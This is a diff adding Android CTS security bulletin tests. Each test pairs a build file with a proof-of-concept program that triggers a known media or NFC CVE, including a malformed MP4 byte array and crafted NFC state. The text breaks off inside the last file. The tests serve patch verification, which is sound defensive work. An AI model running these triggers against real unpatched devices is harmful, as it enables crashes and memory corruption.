diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
new file mode 100644
index 0000000..ad70e63
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2017-0684",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libui",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ include_dirs: [
+ "frameworks/native/include/media/openmax",
+ "frameworks/av/media/libstagefright",
+ "frameworks/native/include/media/hardware",
+ ],
+ compile_multilib: "32",
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
new file mode 100644
index 0000000..9b76c7b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/omxUtils.h"
+
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex,
+ Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(def.nBufferSize,
+ [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+
+int main() {
+
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
+ omxExitOnError(ret);
+ /* Get OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ int ipBufferCount = params->nBufferCountActual;
+ /* Set port mode */
+ omxUtilsSetPortMode(OMX_UTILS_IP_PORT, IOMX::kPortModeDynamicANWBuffer);
+ /* Allocate input buffers and graphic buffer */
+ sp<GraphicBuffer> graphicbuffer = new GraphicBuffer(
+ params->format.video.nFrameWidth, params->format.video.nFrameHeight,
+ HAL_PIXEL_FORMAT_RGBX_8888,
+ android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER, "me");
+ int i;
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+ /* Get OMX output port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ int opBufferSize = params->nBufferSize;
+ int opBufferCount = params->nBufferCountActual;
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ /* Empty input buffers and fill output buffers */
+ OMXBuffer omxIpBuf(graphicbuffer);
+ omxUtilsEmptyBuffer(inputBuffers[0].mID, omxIpBuf, 0, 0, -1);
+ OMXBuffer omxOpBuf(0, opBufferSize);
+ omxUtilsFillBuffer(outputBuffers[0].mID, omxOpBuf, -1);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+ /* Free input and output buffers */
+ for (i = 0; i < ipBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+ }
+ for (i = 0; i < opBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+ }
+ /*********************************************************************/
+ /* Following code exposes vulnerability */
+ /*********************************************************************/
+ Vector<Buffer> newInputBuffers;
+ Vector<Buffer> newOutputBuffers;
+ /* Get OMX input port parameters, change settings and set output port*/
+ /* port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ params->nBufferSize = 38016;
+ params->format.video.nFrameWidth = 2000;
+ params->format.video.nFrameHeight = 2000;
+ omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ /* Allocated input buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &newInputBuffers);
+ /* Allocated output buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &newOutputBuffers);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ /* Empty input buffers and fill output buffers */
+ OMXBuffer newOmxIpBuf(graphicbuffer);
+ omxUtilsEmptyBuffer(newInputBuffers[0].mID, newOmxIpBuf, 0, 0, -1);
+ OMXBuffer newOmxOpBuf(0, opBufferSize);
+ omxUtilsFillBuffer(newOutputBuffers[0].mID, newOmxOpBuf, -1);
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+ /* Free input and output buffers */
+ for (i = 0; i < ipBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, newInputBuffers[i].mID);
+ }
+ for (i = 0; i < opBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, newOutputBuffers[i].mID);
+ }
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
new file mode 100644
index 0000000..32959f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0726",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include",
+ ],
+ shared_libs: [
+ "libdatasource",
+ "libstagefright",
+ "libstagefright_foundation",
+ "libutils",
+ "liblog",
+ ],
+ cflags: [
+ "-DCHECK_MEMORY_LEAK",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
new file mode 100644
index 0000000..ea6935f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
@@ -0,0 +1,143 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "stdlib.h"
+
+#include "../includes/memutils_track.h"
+#include <android/IMediaExtractor.h>
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+
+unsigned char mp4_data[] = {
+ 0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32,
+ 0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32, 0x64, 0x62, 0x79, 0x31,
+ 0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74, 0x6D, 0x6F, 0x6F, 0x76,
+ 0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61, 0x00, 0x00, 0x00, 0x64,
+ 0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
+ 0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50, 0x2D, 0x2D, 0x2D, 0x2D,
+ 0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00,
+ 0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x69, 0x54,
+ 0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14, 0x6E, 0x61, 0x6D, 0x65,
+ 0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E, 0x53, 0x4D, 0x50, 0x42,
+ 0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61, 0x33, 0x32, 0x20, 0x34,
+ 0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32};
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmp4extractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+#endif
+
+#define TOTAL_SIZE 524432
+#define DATA_SIZE 144
+#define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1)
+#define TMP_FILE "/data/local/tmp/temp_cve_2017_0726"
+
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == TRACK_SIZE); }
+
+int main() {
+ GetExtractorDef getDef = nullptr;
+ FILE *fp = fopen(TMP_FILE, "wb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ char zero_array[TOTAL_SIZE - DATA_SIZE];
+ memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));
+
+ /* Write mp4 stream */
+ fwrite(mp4_data, 1, DATA_SIZE, fp);
+
+ /* Append 0's to create custom PoC */
+ fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
+ fclose(fp);
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource =
+ DataSourceFactory::getInstance()->CreateFromURI(NULL, TMP_FILE);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ sp<MetaData> metaData = new MetaData();
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(ret);
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
+ enable_selective_overload = ENABLE_NONE;
+
+ remove(TMP_FILE);
+ dlclose(libHandle);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
new file mode 100644
index 0000000..1166510
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE_2019_2135",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
new file mode 100644
index 0000000..582ddb8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfa_api.h>
+#include <nfc_api.h>
+#include <phNfcTypes.h>
+#include <phNxpExtns.h>
+
+static void nfaMockDMCallback(uint8_t, tNFA_DM_CBACK_DATA *) {}
+static void nfaMockCCallback(uint8_t, tNFA_CONN_EVT_DATA *) {}
+
+int main(void) {
+ if (EXTNS_Init(nfaMockDMCallback, nfaMockCCallback) != NFCSTATUS_SUCCESS) {
+ return EXIT_FAILURE;
+ }
+ const int32_t size = 16;
+ const int32_t offset = size - 1;
+ uint8_t *p_data = static_cast<uint8_t *>(malloc(size));
+ if (p_data == nullptr) {
+ return EXIT_FAILURE;
+ }
+ p_data[offset] = 0x60;
+ EXTNS_MfcTransceive(&p_data[offset], 1);
+ free(p_data);
+ EXTNS_Close();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
new file mode 100644
index 0000000..d6adf3c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0037",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
new file mode 100644
index 0000000..766ee03
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_SET_READ_ONLY;
+ p_i93->sub_state = RW_I93_SUBSTATE_WAIT_CC;
+ p_i93->block_size = 255;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
new file mode 100644
index 0000000..195d430
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0038",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
new file mode 100644
index 0000000..27acfe3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
